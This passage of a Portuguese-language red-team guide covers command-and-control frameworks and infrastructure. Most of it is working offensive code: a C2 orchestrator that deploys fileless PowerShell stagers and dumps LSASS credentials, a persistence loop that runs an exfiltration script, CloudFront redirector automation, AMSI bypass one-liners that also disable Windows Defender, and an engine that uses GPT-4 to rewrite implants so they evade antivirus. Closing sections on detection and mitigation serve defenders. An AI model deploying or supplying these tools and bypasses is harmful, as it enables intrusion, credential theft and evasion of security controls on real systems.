    --token ghp_YOUR_TOKEN \
    --repo your-username/private-repo \
    --label beacon

# Issues serão criadas automaticamente para cada host
# Comandos: shell, ls, download, upload, bof
```

#### Outras Plataformas para C2

| Plataforma                  | Mecanismo                          | Dificuldade de Bloqueio    |
| --------------------------- | ---------------------------------- | -------------------------- |
| **Discord**                 | Webhooks e canais privados         | Muito Alta                 |
| **Slack**                   | Bot com comandos slash             | Muito Alta                 |
| **Telegram**                | Bot API                            | Muito Alta                 |
| **Google Drive**            | Upload/download periódico          | Muito Alta                 |
| **Twitter/X**               | DMs ou posts com dados codificados | Alta (pode ser monitorado) |
| **Cloud Storage AWS/Azure** | Buckets com objetos                | Muito Alta                 |
| **Pastebin**                | Pastas privadas                    | Alta                       |
| **GitLab**                  | Issues e Comments                  | Alta                       |

#### Websites Legítimos Comprometidos como C2

Uma técnica avançada observada em ataques reais é o uso de websites legítimos previamente comprometidos como servidores C2:

```yaml
TÉCNICA: COMPROMISED LEGITIMATE SITES AS C2:

  🔄 MECANISMO:
    - Atacante compromete site legítimo (wordpress, joomla, etc.)
    - Instala backdoor imperceptível no servidor web
    - Tráfego C2 parece requisições normais ao site
    - URLs com parâmetros específicos ativam funcionalidade
  
  🛡️ VANTAGENS:
    - Domínio é altamente confiável (não é bloqueado)
    - SO da vítima não identifica como malicioso
    - Tráfego parece navegação normal
    - Site continuamente acessado por usuários reais
  
  ⚠️ EXEMPLO REAL - ASEC Report:
    - Malware disfarçado de aplicação de delivery coreano
    - C2 embutido em blog legítimo na portal coreano
    - Variáveis ofuscadas com IA (ProGuard em coreano)
    - Hardcoding dinâmico via blog post
```

***

### 10. Automação de Operações C2

#### Automação com APIs

Frameworks modernos oferecem APIs completas (RESTful, GraphQL) para automação total de operações .

```python
#!/usr/bin/env python3
# c2_orchestrator.py - Orquestração completa de operações C2

import requests
import json
import time
import logging
from typing import Dict, List, Optional

class C2Orchestrator:
    """
    Classe para automação de operações C2 multi-framework
    Suporta Empire REST API, Covenant API, Mythic GraphQL
    """
    
    def __init__(self, framework: str, server: str, token: str):
        self.framework = framework
        self.server = server
        self.token = token
        self.session = requests.Session()
        
        if framework == "empire":
            self.setup_empire_auth()
        elif framework == "mythic":
            self.setup_mythic_auth()
    
    def setup_empire_auth(self):
        """Autenticação no Empire API"""
        self.session.verify = False  # Certificado self-signed
        self.session.headers.update({
            "Authorization": f"Bearer {self.token}",
            "Content-Type": "application/json"
        })
    
    def create_http_listener(self, name: str, port: int, delay: int = 60, jitter: float = 0.2) -> Dict:
        """Cria listener HTTP programaticamente"""
        payload = {
            "name": name,
            "port": port,
            "listenerType": "http",
            "DefaultDelay": delay,
            "DefaultJitter": jitter,
            "KillDate": "2024-12-31",
            "WorkingHours": "9-17"
        }
        
        if self.framework == "empire":
            resp = self.session.post(f"https://{self.server}:1337/api/listeners", json=payload)
        elif self.framework == "mythic":
            resp = self.session.post(f"https://{self.server}/api/v1.4/restapi", 
                                     json={"query": "mutation { createListener(...) }"})
        
        return resp.json()
    
    def generate_stager(self, listener_name: str, language: str = "powershell") -> str:
        """Gera stager programaticamente"""
        if self.framework == "empire":
            resp = self.session.get(f"https://{self.server}:1337/api/stagers",
                                    params={"listener": listener_name, "language": language})
            return resp.json()["stager"]
        return ""
    
    def deploy_agent_fileless(self, target_ip: str, stager_command: str) -> bool:
        """Deploy fileless via PowerShell Remoting ou WMI"""
        # Exemplo: execução remota via WinRM
        ps_script = f"""
        $stager = '{stager_command}'
        iex $stager
        """
        # Implementação dependerá do acesso disponível
        return self._execute_remotely(target_ip, ps_script)
    
    def auto_escalate(self, session_id: str) -> Dict:
        """Automação de escalada de privilégio"""
        # Verificar privilégios atuais
        current = self.run_command(session_id, "whoami /groups | findstr /i bypass")
        
        if "SeImpersonatePrivilege" in current:
            # Patch do JuicyPotato
            self.upload_bof(session_id, "juicypotato.bof")
            return {"status": "success", "method": "juicypotato"}
        elif "SeDebugPrivilege" in current:
            # Dump LSASS para credenciais
            self.run_command(session_id, "procdump -accepteula -ma lsass.exe")
            return {"status": "success", "method": "lsass_dump"}
        
        # Fallback: verificar CVE do kernel
        kernel = self.run_command(session_id, "ver")
        return {"status": "pending", "cve": self._check_kernel_cves(kernel)}
    
    def orchestrate_engagement(self, targets: List[str]) -> Dict:
        """
        Orquestração completa de engajamento:
        1. Cria listeners
        2. Gera stagers
        3. Deploy nos alvos
        4. Coleta e exfiltração
        """
        results = {"listeners": [], "agents": [], "loot": []}
        
        # Criação de listeners
        for i, target in enumerate(targets):
            listener_name = f"Listener_{i}"
            result = self.create_http_listener(listener_name, 8080 + i)
            results["listeners"].append(result)
            
            # Geração de stager
            stager = self.generate_stager(listener_name)
            
            # Deploy no alvo
            if self.deploy_agent_fileless(target, stager):
                results["agents"].append({"target": target, "listener": listener_name})
        
        # Coleta inicial de informações
        for agent in results["agents"]:
            sysinfo = self.run_command(agent["session_id"], "sysinfo")
            results["loot"].append({"target": agent["target"], "sysinfo": sysinfo})
            
            # Escalada automática
            escalation = self.auto_escalate(agent["session_id"])
            results["loot"].append({"escalation": escalation})
        
        return results

# Com CloudFront redirector automation 
class CloudFrontC2Deployer:
    """Automação de deploy de infraestrutura C2 com CloudFront"""
    
    def deploy_cloudfront_c2(self, domain: str, email: str, aws_token: str) -> Dict:
        """
        Deploy completo de infraestrutura:
        - DNS A record no Cloudflare
        - Certificado TLS (Let's Encrypt)
        - Distribuição CloudFront
        - C2 Profile atualizado
        """
        # 1. Configurar DNS
        dns_result = self._create_dns_record(domain, aws_token)
        
        # 2. Obter certificado TLS
        cert_result = self._request_letsencrypt(domain, email)
        
        # 3. Criar distribuição CloudFront
        cf_distro = self._create_cloudfront_distribution(domain, cert_result)
        
        # 4. Atualizar C2 profile (para COBALT/outros)
        self._update_c2_profile(domain, cf_distro)
        
        return {
            "domain": domain,
            "cloudfront_url": cf_distro["domain_name"],
            "certificate_id": cert_result["id"]
        }
```

#### Automação com Cron e Scripts de Infraestrutura

```bash
#!/bin/bash
# /opt/c2/auto_reconnect.sh - Persistência e auto-reconexão

LOG_FILE="/var/log/c2_operations.log"
C2_SERVER="https://c2.internal:1337"
C2_TOKEN=$(cat /etc/c2/token.secret)

check_connection() {
    curl -s -f -H "Authorization: Bearer $C2_TOKEN" $C2_SERVER/api/agents > /dev/null
    return $?
}

redeploy_empire() {
    echo "[$(date)] Redeploying Empire server..." >> $LOG_FILE
    sudo systemctl restart empire-server
    
    # Wait for service
    sleep 10
    
    # Reconnect client
    powershell-empire client -c /opt/c2/empire_auto.cmd >> $LOG_FILE 2>&1
}

redeploy_sliver() {
    echo "[$(date)] Redeploying Sliver server..." >> $LOG_FILE
    sudo killall sliver-server || true
    sudo sliver-server daemon --daemonize
}

# Loop principal
while true; do
    if ! check_connection; then
        echo "[$(date)] C2 connection lost!" >> $LOG_FILE
        
        # Rotação de domínio
        NEW_DOMAIN=$(python3 /opt/c2/domain_generator.py)
        echo "[$(date)] Rotating to domain: $NEW_DOMAIN" >> $LOG_FILE
        
        # Redeploy listeners com novo domínio
        redeploy_empire
    fi
    
    # Auto-exfiltração de resultados
    python3 /opt/c2/exfil_results.py
    
    sleep 300  # 5 minutos
done
```

#### Automação de Diversificação de Binários com AI

```python
# poly_engine.py - AI-assisted binary diversification

import openai
import subprocess
import random

class PolyEngine:
    """Engine de diversificação de binários assistida por IA"""
    
    def diversify_source(self, source_code: str, language: str, agent_name: str) -> str:
        """Usa LLM para gerar variação semântica do código"""
        
        prompt = f"""
        Rewrite the following {language} source code for the {agent_name} C2 agent.
        The new version must be functionally identical but with:
        - Renamed variables and functions
        - Reordered code blocks where possible
        - Different string encoding
        - Alternative API calls where available
        
        Source:
        {source_code}
        """
        
        response = openai.ChatCompletion.create(
            model="gpt-4",
            messages=[{"role": "user", "content": prompt}],
            temperature=0.8  # Alta criatividade
        )
        
        return response.choices[0].message.content
    
    def compile_variant(self, diversified_code: str, language: str) -> bytes:
        """Compila código diversificado para binário final"""
        
        if language == "go":
            # Compilar com flags de ofuscação
            result = subprocess.run(
                ["go", "build", "-ldflags", "-s -w", "-o", "agent_variant.exe"],
                input=diversified_code.encode(),
                capture_output=True
            )
        elif language == "rust":
            result = subprocess.run(
                ["rustc", "-C", "opt-level=3", "-C", "strip=symbols", "-o", "agent_variant"],
                input=diversified_code.encode(),
                capture_output=True
            )
        
        return result.stdout
    
    def generate_variant_chain(self, original_binary: bytes, iterations: int = 10) -> list:
        """Gera cadeia de binários diversificados"""
        variants = []
        current = original_binary
        
        for i in range(iterations):
            # Decompilar (em linguagens adequadas)
            source = self.decompile(current)
            
            # Diversificar via LLM
            diversified = self.diversify_source(source, language, f"variant_{i}")
            
            # Recompilar
            variant = self.compile_variant(diversified, language)
            variants.append(variant)
            current = variant
        
        return variants
```

***

### 11. Implantação em Infraestrutura

#### Arquiteturas de Implantação

```yaml
IMPLANTAÇÃO C2 EM INFRAESTRUTURA MODERNA:

  🏠 STANDALONE (CONTÊINER):
    - Todos componentes em um único host
    - Ideal para laboratórios e testes
    - Risco: ponto único de detecção
  
  🌐 DISTRIBUÍDA COM REDIRECTORS:
    - Servidor C2 principal escondido
    - Múltiplos redirectors (CDN, VPS, proxies)
    - Aumenta resiliência e anonimato
    - CloudFront, Cloudflare, Fastly
  
  ☁️ CLOUD NATIVE (AWS/Azure/GCP):
    - Servidores em regiões variadas
    - Domínios e IPs rotacionados
    - Auto-scaling (se necessário)
    - CloudFront para CDN masking
  
  🔐 AIR-GAPPED / EDGE DEPLOYMENT :
    - Kubernetes (RKE2) hardening em ambientes classificados
    - Harvester Government para HCI
    - Operações em DDIL (Degraded, Disconnected, Intermittent, Limited)
    - Sem dependência de conectividade externa
  
  🎭 ZERO TRUST DEPLOYMENT:
    - mTLS com certificados mutualmente autenticados
    - Clientes precisam de certificado válido
    - Servidor só aceita conexões autenticadas
    - Sliver oferece esta arquitetura nativamente
```

#### Exemplo: Deploy do Mythic com Docker Compose

```yaml
# docker-compose.yml para Mythic full deployment
version: '3'

services:
  postgres:
    image: postgres:15-alpine
    environment:
      POSTGRES_DB: mythic_db
      POSTGRES_USER: mythic_user
      POSTGRES_PASSWORD: ${DB_PASSWORD}
    volumes:
      - pg_data:/var/lib/postgresql/data
    networks:
      - mythic_network

  rabbitmq:
    image: rabbitmq:3-management-alpine
    environment:
      RABBITMQ_DEFAULT_USER: mythic_user
      RABBITMQ_DEFAULT_PASS: ${RABBIT_PASSWORD}
    networks:
      - mythic_network

  mythic_server:
    image: itsafeaturemythic:latest
    ports:
      - "7443:7443"
      - "443:443"
    environment:
      DATABASE_URL: postgres://mythic_user:${DB_PASSWORD}@postgres/mythic_db
      RABBITMQ_URL: amqp://mythic_user:${RABBIT_PASSWORD}@rabbitmq:5672
    volumes:
      - mythic_data:/Mythic/mythic_data
    depends_on:
      - postgres
      - rabbitmq
    networks:
      - mythic_network

  apfell_container:
    image: mythic_apfell:latest
    environment:
      MYTHIC_SERVER_HOST: mythic_server
    depends_on:
      - mythic_server
    networks:
      - mythic_network

  # Payload containers adicionais
  # merlin_container, poseidon_container, etc.

networks:
  mythic_network:
    driver: bridge

volumes:
  pg_data:
  mythic_data:
```

#### CloudFront C2 Automation (Cobalt Strike Compatível)

```python
#!/usr/bin/env python3
# cloudfront_c2_deploy.py - Deploy completo de infra C2 com CloudFront

import boto3
import requests
import subprocess
import time

class CloudFrontC2Deployer:
    """
    Deploy automatizado de redirector CloudFront para C2
    Baseado na técnica documentada por bigb0ss e GuidePoint Security
    """
    
    def __init__(self, domain: str, email: str, aws_profile: str = "default"):
        self.domain = domain
        self.email = email
        self.aws_profile = aws_profile
        self.cloudflare_token = None
        self.aws_session = boto3.Session(profile_name=aws_profile)
        
    def configure_dns(self) -> bool:
        """Configura registro DNS A no Cloudflare"""
        resp = requests.post(
            "https://api.cloudflare.com/client/v4/zones/ZONE_ID/dns_records",
            headers={"Authorization": f"Bearer {self.cloudflare_token}"},
            json={
                "type": "A",
                "name": self.domain,
                "content": self.get_public_ip(),
                "ttl": 120,
                "proxied": True
            }
        )
        return resp.status_code == 200
    
    def request_certificate(self) -> dict:
        """Solicita certificado Let's Encrypt via certbot"""
        cmd = [
            "certbot", "certonly", "--non-interactive",
            "--agree-tos", f"--email={self.email}",
            "--standalone", "--preferred-challenges", "http",
            "-d", self.domain
        ]
        result = subprocess.run(cmd, capture_output=True)
        
        return {
            "cert_path": f"/etc/letsencrypt/live/{self.domain}/fullchain.pem",
            "key_path": f"/etc/letsencrypt/live/{self.domain}/privkey.pem"
        }
    
    def create_cloudfront_distribution(self) -> dict:
        """Cria distribuição CloudFront"""
        cloudfront = self.aws_session.client('cloudfront')
        
        response = cloudfront.create_distribution(
            DistributionConfig={
                'CallerReference': str(int(time.time())),
                'Aliases': {'Quantity': 1, 'Items': [self.domain]},
                'DefaultRootObject': '',
                'Origins': {
                    'Quantity': 1,
                    'Items': [{
                        'Id': f'c2-origin-{self.domain}',
                        'DomainName': self.get_public_ip(),
                        'CustomOriginConfig': {
                            'HTTPPort': 80,
                            'HTTPSPort': 443,
                            'OriginProtocolPolicy': 'https-only'
                        }
                    }]
                },
                'DefaultCacheBehavior': {
                    'TargetOriginId': f'c2-origin-{self.domain}',
                    'ViewerProtocolPolicy': 'https-only',
                    'AllowedMethods': {
                        'Quantity': 7,
                        'Items': ['GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'PATCH']
                    },
                    'ForwardedValues': {
                        'QueryString': True,
                        'Cookies': {'Forward': 'all'},
                        'Headers': {'Quantity': 1, 'Items': ['*']}
                    }
                },
                'Enabled': True,
                'ViewerCertificate': {
                    'ACMCertificateArn': self._get_certificate_arn(),
                    'SSLSupportMethod': 'sni-only'
                }
            }
        )
        return response['Distribution']
```

#### CrossC2 - Integração com Cobalt Strike Profiles

```bash

# genCrossC2 - Ferramenta para gerar agentes Linux/macOS compatíveis com Cobalt Strike
# Útil para operações multiplataforma

# Automatically parse c2profile (recomendado)
genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out

# Para múltiplos C2 profiles, selecionar seção com @
genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile@section2" Linux x64 beacon.out

# Com CDN (Cloudflare) - especificar domínio SNI
genCrossC2 c2.domain.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out

# Com múltiplos IPs CDN
genCrossC2 1.1.1.1,2.2.2.2 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out
```

***

### 12. Evasão Avançada e Ocultação

#### Técnicas de Evasão Modernas

```yaml
TÉCNICAS DE EVASÃO AVANÇADAS (2024-2025):

  🎭 PROCESS INJECTION:
    - Process Hollowing: Substituição de processo legítimo
    - APC Injection: Fila de chamadas assíncronas
    - Thread Hijacking: Sequestro de threads existentes
    - CLR Hosting: Injeção em .NET runtime
  
  🔒 AMSI BYPASS:
    - Patch em memória: amsi.dll patching
    - Registry bypass: Disable AMSI via registro
    - COM Hijacking: Abusar de objetos COM
    - PowerShell downgrade: Forçar versão antiga
  
  🛡️ EDR/AV EVASION:
    - Indirect Syscalls: Chamadas de sistema indiretas
    - Call Stack Spoofing: Manipular stack para parecer legítimo
    - Sleep Obfuscation: Ocultar operações durante sleep
    - Dynamic Resolution: Resolução dinâmica de API
  
  🌐 NETWORK EVASION:
    - Domain Fronting: CDN como proxy 
    - DNS-over-HTTPS (DoH): DNS via HTTPS
    - Encrypted SNI (ESNI): SNI criptografado
    - QUIC/HTTP3: UDP-based, menos inspecionado 
    - Stillepost: Proxy via Chromium 
  
  🧩 FILELESS EXECUTION:
    - Reflective DLL: Carregamento de DLL sem disk
    - PowerShell IEX: Download e execução em memória
    - WMI Event Subscription: Persistência fileless
    - Registry Run Keys: Execução via registro
```

#### Stillepost: Proxy C2 via Chromium

O **Stillepost** é uma técnica recente que permite encaminhar tráfego C2 através do navegador Chromium, mascarando completamente a comunicação maliciosa:

```yaml
TÉCNICA STILLEPOST:

  🔄 MECANISMO:
    - Agente inicia instância headless do Chromium
    - Tráfego C2 é roteado através do navegador
    - Todas as requisições parecem navegação normal
    - Cookies e sessões do navegador são utilizadas
  
  🛡️ VANTAGENS OFENSIVAS:
    - Tráfego indistinguível de usuário real
    - Bypass de proxies corporativos
    - Certificados e TLS do navegador
    - Harder para DLP e NDR detectarem
  
  ⚠️ DESAFIOS:
    - Overhead de recursos (Chromium é pesado)
    - Detectável via análise comportamental
    - Pode falhar em ambientes com whitelist de apps
```

#### Domain Fronting e CDN Redirectors

```yaml
DOMAIN FRONTING COM CLOUDFRONT:

  📡 ARQUITETURA:
    - Distribuição CloudFront criada para domínio CDN
    - C2 server configurado como origin
    - Agente conecta ao CloudFront (parece CDN)
    - Tráfego reencaminhado para C2 real

  🛡️ VANTAGENS:
    - Domínio CDN é whitelisted globalmente
    - Bloqueio do domínio principal não afeta
    - CloudFront IPs variam constantemente
    - Certificado TLS válido (Amazon)

  🔧 DEPLOY:
    - CloudFront C2 Automation via scripts 
    - Update de C2 profiles automaticamente
    - Let's Encrypt para certificados (ou ACM)
```

#### Ofuscação Assistida por IA

```yaml
AI-POWERED OBFUSCATION:

  🤖 PROGUARD COM IA (CASO REAL):
    - Malware coreano utilizou ProGuard com IA
    - Nomes de variáveis em coreano (8 caracteres)
    - Classes e funções ofuscadas com characteres coreanos
    - C2 hardcoded via blog hospedado em portal coreano
  
  🧬 IMPLICAÇÕES:
    - Ofuscação difícil de reverter manualmente
    - Modelo de IA gera variações semanticamente equivalentes
    - Signaturas tradicionais ineficazes
    - Defensores precisam de análise comportamental
```

#### Binário Diversificação com Poly Engine

O Ankou implementa um "Poly Engine" que reescreve automaticamente o código fonte do implante, gerando binários semanticamente equivalentes mas estruturalmente diferentes:

```yaml
POLY ENGINE EM AÇÃO:

  🔄 PROCESSO:
    1. Análise do código fonte do agente
    2. Reescrita de funções com estruturas equivalentes
    3. Renomeação de variáveis e símbolos
    4. Rearranjo de blocos de código
    5. Compilação para binário

  📊 RESULTADO:
    - Cada build é unico
    - Mesma funcionalidade
    - Assinaturas de AV falham
    - Hash de binário diferente a cada compilação
```

#### Exemplo: AMSI Bypass via PowerShell

```powershell
# AMSI Bypass via patching (mais efetivo)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed', 'NonPublic,Static')
$field.SetValue($null, $true)

# AMSI Bypass via registry (persistente via GPO)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" `
    -Name "DisableAntiSpyware" -Value 1 -Force

# AMSI Bypass via downgrade (forçar PowerShell 2.0)
powershell.exe -version 2 -ExecutionPolicy Bypass -File malicious.ps1

# AMSI Bypass via obfuscated variable
$([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')).GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

#### Exemplo: Indirect Syscalls (EDR Evasion)

```c
// Indirect syscall pattern para evasão de EDR
// Não utilizado diretamente em C2, mas em loaders

__asm volatile(
    "mov r10, rcx\n"
    "mov eax, [syscall_number]\n"
    "syscall\n"
    "ret\n"
);

// A técnica evita hooking de userland// Syscall é feita diretamente sem passar por ntdll.dll hookeada
// EDRs que hookam ntdll.dll não interceptam a chamada
```

***

### 13. Técnicas de Proxying e Redirecionamento

#### Ghost Relay - Transporte Modular

O **Ghost Relay** do Ankou é um componente disposable que atua como front-end para o servidor C2:

```go
// Estrutura de um módulo de transporte no Ghost Relay
type Transport interface {
    Accept() (net.Conn, error)
    Handle(conn net.Conn)
    Close() error
}

// Exemplo: transporte HTTP/3 QUIC
type HTTP3Transport struct {
    listener *quic.Listener
    cert     tls.Certificate
}

func (t *HTTP3Transport) Accept() (net.Conn, error) {
    return t.listener.Accept(context.Background())
}

// Adicionar novo transporte = copiar template accept_*.go
```

#### Tabela de Técnicas de Redirecionamento

| Técnica                   | Mecanismo                    | Nível de Evasão | Complexidade  |
| ------------------------- | ---------------------------- | --------------- | ------------- |
| **Domain Fronting**       | CDN como proxy               | Muito Alto      | Alta          |
| **CloudFront Redirector** | AWS CDN como front           | Muito Alto      | Média         |
| **Stillepost**            | Chromium como proxy          | Muito Alto      | Alta          |
| **HTTP/3 QUIC Relay**     | UDP-based front              | Alto            | Média         |
| **DNS over HTTPS**        | DNS via web API              | Alto            | Média         |
| **Social Media API**      | Twitter/Slack como backend   | Muito Alto      | Alta          |
| **Fast Flux**             | IPs rotacionados rapidamente | Alto            | Média         |
| **Tor Hidden Service**    | .onion como listener         | Muito Alto      | Baixa (lento) |

***

### 14. C2 Matrix: Comparação de Frameworks

A **C2 Matrix** (<https://www.thec2matrix.com/>) é o recurso definitivo para comparação de frameworks C2 .

#### Matriz de Comparação Expandida

| Critério              | Empire    | Covenant | Sliver   | Mythic   | Ankou       | Cobalt Strike   |
| --------------------- | --------- | -------- | -------- | -------- | ----------- | --------------- |
| **Custo**             | Gratuito  | Gratuito | Gratuito | Gratuito | Gratuito    | \~$3,500        |
| **Linguagem**         | Python/PS | C#       | Go       | Py/Go/JS | Go/Rust/JS  | Java            |
| **Interface**         | CLI+Web   | Web GUI  | CLI      | Web GUI  | Electron    | GUI+CLI         |
| **Windows Agent**     | ✅         | ✅        | ✅        | ✅        | ✅           | ✅               |
| **Linux Agent**       | ✅         | ❌        | ✅        | ✅        | ✅           | ❌ (via CrossC2) |
| **macOS Agent**       | ✅         | ❌        | ✅        | ✅        | ✅           | ❌               |
| **HTTP/HTTPS**        | ✅         | ✅        | ✅        | ✅        | ✅           | ✅               |
| **DNS**               | ❌         | ❌        | ✅        | ✅        | ❌           | ✅               |
| **SMB**               | ❌         | ✅        | ❌        | ✅        | ✅           | ✅               |
| **mTLS**              | ❌         | ❌        | ✅        | ✅        | ❌           | ❌               |
| **HTTP/3 QUIC**       | ❌         | ❌        | ❌        | ❌        | ✅           | ❌               |
| **SSH**               | ❌         | ❌        | ❌        | ✅        | ✅           | ❌               |
| **AI Integration**    | ❌         | ❌        | ❌        | ❌        | ✅           | ❌               |
| **Poly Engine**       | ❌         | ❌        | ❌        | ❌        | ✅           | ❌               |
| **Browser Scripting** | ❌         | ❌        | ❌        | ✅        | ❌           | ❌               |
| **Multi-usuário**     | ✅         | ✅        | ❌        | ✅        | ✅           | ✅               |
| **API**               | REST      | REST     | gRPC     | GraphQL  | GraphQL     | External        |
| **Jitter Config**     | ✅         | ✅        | ❌        | ✅        | ✅           | ✅               |
| **Kill Date**         | ✅         | ✅        | ❌        | ✅        | ✅           | ✅               |
| **Ofuscação**         | Manual    | Não      | Garble   | N/A      | Poly Engine | Malleable C2    |
| **Containerizado**    | ❌         | ❌        | ❌        | ✅        | ❌           | ❌               |

***

### 15. Detecção de C2 pela Defesa

#### Como Defensores Detectam C2

```yaml
MÉTRICAS DE DETECÇÃO DE C2:

  📊 BEACONING DETECTION (Elastic Security) :
    - Modelo estatístico para identificar beaconing
    - Análise de intervalos de comunicação
    - Score de beaconing (1-3 severity)
    - Técnicas: T1102 (Web Service), T1102.002 (Bidirectional Communication)
  
  🔍 INDICADORES COMUNS:
    - Jitter detection: Padrão humano vs randomizado
    - DNS entropy: Alto entropy em subdomínios
    - TLS fingerprinting: JA3/S JA3 fingerprints
    - HTTP headers: User-Agent, Accept-Language anormais
    - Beacon intervals: Períodos regulares de comunicação
    - Data transfer: Volume consistente (C2 check-in)
  
  🧠 DETECÇÃO AVANÇADA:
    - Análise comportamental de processos
    - Rastreamento de cadeia de chamadas de sistema
    - Memory forensics (detecção de injeção)
    - Network flow analysis (padrões de comunicação)
```

#### Elastic Beaconing Detection

```yaml
ELASTIC SECURITY - MODELO DE DETECÇÃO:

  ⚙️ CONFIGURAÇÃO:
    - Rule type: query
    - Rule indices: ml_beaconing.all
    - Severity: low
    - Risk score: 21
    - Runs every: 5m
    - Timeframe: now-1h
  
  📊 BEACONING SCORE:
    - Score 3: Comunicação altamente suspeita
    - Ações recomendadas: Investigação imediata
    - Contexto: Intervalos regulares + jitter baixo
  
  🎯 TACTICS (MITRE ATT&CK):
    - Tactic: TA0011 (Command and Control)
    - Technique: T1102 (Web Service)
    - Sub-technique: T1102.002 (Bidirectional Communication)
```

#### Indicadores de Comprometimento (IOCs) para C2

```yaml
IOCs TÍPICOS DE INFRAESTRUTURA C2:

  🌐 REDE:
    - Domínios com registro recente (menos de 90 dias)
    - Certificados TLS self-signed ou recentes
    - Domínios DGA (Domain Generation Algorithm)
    - IPs em ASNs de hosting/VPS (AWS, DigitalOcean, OVH)
    - Tráfego de beaconing com periodicidade regular
  
  🔧 HOST:
    - Processos anômalos (powershell.exe sem parâmetros normais)
    - Injeção de código em processos legítimos
    - Scheduled tasks não autorizadas
    - WMI event subscriptions permanentes
    - Run/RunOnce keys suspeitas
  
  📄 ARQUIVOS:
    - Binários não assinados em locais suspeitos
    - Scripts PowerShell variáveis ofuscadas
    - DLLs com exportações anormais
    - Artefatos de reflective loading
```

***

### 16. Mitigação e Contramedidas

#### Mitigações Efetivas contra C2

```yaml
ESTRATÉGIAS DE MITIGAÇÃO:

  🛡️ PREVENÇÃO:
    - Application whitelisting (AppLocker, WDAC)
    - PowerShell Constrained Language Mode
    - AMSI ativado e atualizado
    - Desabilitar macros e scripts não assinados
    - Restringir WMI e DCOM
  
  🔍 DETECÇÃO:
    - Network Beaconing Detection 
    - EDR com análise comportamental
    - DNS sinkholing para domínios suspeitos
    - TLS inspection (decrypt MITM)
    - User and Entity Behavior Analytics (UEBA)
  
  🚫 RESPOSTA:
    - Isolamento de hosts comprometidos
    - Revogação de tokens e credenciais
    - Reset de dispositivos (PVCI)
    - Threat hunting ativo
    - Análise forense de memória
  
  📚 RECOMENDAÇÕES ESPECÍFICAS:
    - Desabilitar versões antigas do PowerShell
    - Configurar PowerShell Module Logging
    - Habilitar Script Block Logging completo
    - Implementar Network Segmentation (mTLs, micro-segmentação)
    - Auditoria de alterações em autorizações SSH
    - Monitoramento de conexões de saída (egress filtering)
```

#### Contramedidas para Técnicas Modernas

| Técnica C2                      | Contramedida                                | Efetividade                  |
| ------------------------------- | ------------------------------------------- | ---------------------------- |
| **Domain Fronting**             | TLS inspection com SNI check                | Média                        |
| **DNS C2**                      | Monitorar alta entropia DNS                 | Alta                         |
| **Platform-Based C2 (GitHub)**  | Monitorar tráfego de API de terceiros       | Média                        |
| **Stillepost (Chromium proxy)** | Análise comportamental de processos         | Baixa/Média                  |
| **QUIC/HTTP3**                  | Bloquear QUIC (porta 443 UDP)               | Alta (drástico)              |
| **mTLS**                        | TLS inspection com validação de certificado | Baixa (certificados válidos) |
| **WMI Persistence**             | Auditoria de subscrições WMI                | Média                        |
| **PowerShell Fileless**         | Constrained Language Mode, CLM              | Alta                         |

***

### 17. Referência Rápida

#### Comandos Essenciais por Framework

| Framework    | Operação            | Comando                                 |
| ------------ | ------------------- | --------------------------------------- |
| **Empire**   | Iniciar servidor    | `sudo powershell-empire server`         |
|              | Iniciar cliente     | `powershell-empire client`              |
|              | Criar listener HTTP | `uselistener http` + `execute`          |
|              | Gerar stager        | `usestager multi/launcher` + `generate` |
|              | Listar agentes      | `agents`                                |
|              | Interagir           | `interact <agent>`                      |
| **Covenant** | Iniciar             | `sudo dotnet run` (na pasta)            |
|              | Acessar GUI         | `https://127.0.0.1:7443`                |
|              | Criar listener      | Web GUI > Listeners > Create            |
|              | Criar launcher      | Web GUI > Launchers > Create            |
|              | Interagir           | Web GUI > Grunts > \[Selecionar]        |
| **Sliver**   | Iniciar             | `sudo sliver`                           |
|              | Criar listener      | `mtls -l 8443`                          |
|              | Gerar implante      | `generate --mtls <IP>:8443`             |
|              | Listar sessões      | `sessions`                              |
|              | Interagir           | `use <id>`                              |
| **Mythic**   | Iniciar             | `./mythic-cli start`                    |
|              | Instalar agente     | `./mythic-cli install agent <name>`     |
|              | Acessar GUI         | `https://127.0.0.1:7443`                |

#### Localização de Arquivos no Kali

```bash

# Empire
/usr/share/powershell-empire/
/var/lib/powershell-empire/empire.db
/usr/share/powershell-empire/empire/server/config.yaml
/usr/share/powershell-empire/empire/client/config.yaml

# Sliver
/root/.sliver/
/root/.sliver/configs/
/root/.sliver/agents/

# Covenant (quando instalado manualmente)
~/tools/Covenant/Covenant/

# Ankou (quando instalado)
~/tools/ankou/
~/tools/ankou/server/
~/tools/ankou/agents/
```

#### Variáveis de Ambiente e Configuração

```bash
# Empire
export EMPIRE_SERVER_URL=https://localhost:1337
export EMPIRE_USERNAME=empireadmin
export EMPIRE_PASSWORD=<senha>

# Mythic
export MYTHIC_SERVER_URL=https://localhost:7443
export MYTHIC_API_KEY=<api_key>

# Sliver
export SLIVER_SERVER=127.0.0.1:31337
export SLIVER_OPERATOR=<operator_name>
```

***

### 18. Resumo Técnico

#### Quando Usar Cada Framework

```yaml
ESCOLHA DO FRAMEWORK C2:

  🚀 EMPIRE:
    - Melhor para: Operações que dependem de PowerShell
    - Cenário ideal: Red Team em infraestrutura Windows legada
    - Limitação: Detecção de AV baseada em assinatura
    - Vantagem: Interface GUI Starkiller disponível
  
  🖥️ COVENANT:
    - Melhor para: Equipes que preferem GUI colaborativa
    - Cenário ideal: Operações com múltiplos operadores
    - Limitação: Apenas agentes Windows
    - Vantagem: Multi-usuário nativo, interface web
  
  🦾 SLIVER:
    - Melhor para: Evasão de AV e EDR modernos
    - Cenário ideal: Ambientes monitorados, opsec crítico
    - Limitação: Sem GUI e sem jitter configurável
    - Vantagem: Ofuscação garble, múltiplos protocolos
  
  🧩 MYTHIC:
    - Melhor para: Desenvolvimento customizado de agentes
    - Cenário ideal: Equipes com capacidade de dev
    - Limitação: Complexidade de deploy
    - Vantagem: Browser scripting, totalmente containerizado 
